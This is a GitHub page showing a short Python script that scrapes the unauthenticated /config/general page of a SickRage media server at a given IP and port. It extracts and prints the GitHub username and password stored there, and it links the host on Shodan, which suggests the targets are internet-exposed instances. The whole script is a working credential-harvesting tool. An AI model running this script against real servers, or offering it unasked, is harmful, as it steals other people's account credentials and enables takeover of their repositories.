-
Notifications
You must be signed in to change notification settings - Fork 0
/
get_github_creds_sickrage.py
29 lines (27 loc) · 1.05 KB
/
get_github_creds_sickrage.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import urllib3
import sys
import requests
from colorama import init, Fore
from BeautifulSoup import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)
if __name__ == '__main__':
if len(sys.argv) != 3:
print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
else:
host = sys.argv[1]
print (Fore.MAGENTA + "https://www.shodan.io/host/{0}".format(host))
port = sys.argv[2]
print (Fore.MAGENTA + "*** Get User credentials from SickRage ***")
url = "http://{0}:{1}/config/general".format(host, port)
response = requests.get(url, timeout=5)
parsed_html = BeautifulSoup(response.text)
try:
git_username = parsed_html.body.find('input', {'id': 'git_username'}).get("value")
git_password = parsed_html.body.find('input', {'id': 'git_password'}).get("value")
if str(git_password) != "None" and str(git_password) != "None":
if len(git_password) >= 1 and len(git_username) >= 1:
print (Fore.GREEN + str(git_username))
print (Fore.GREEN + str(git_password))
except AttributeError:
pass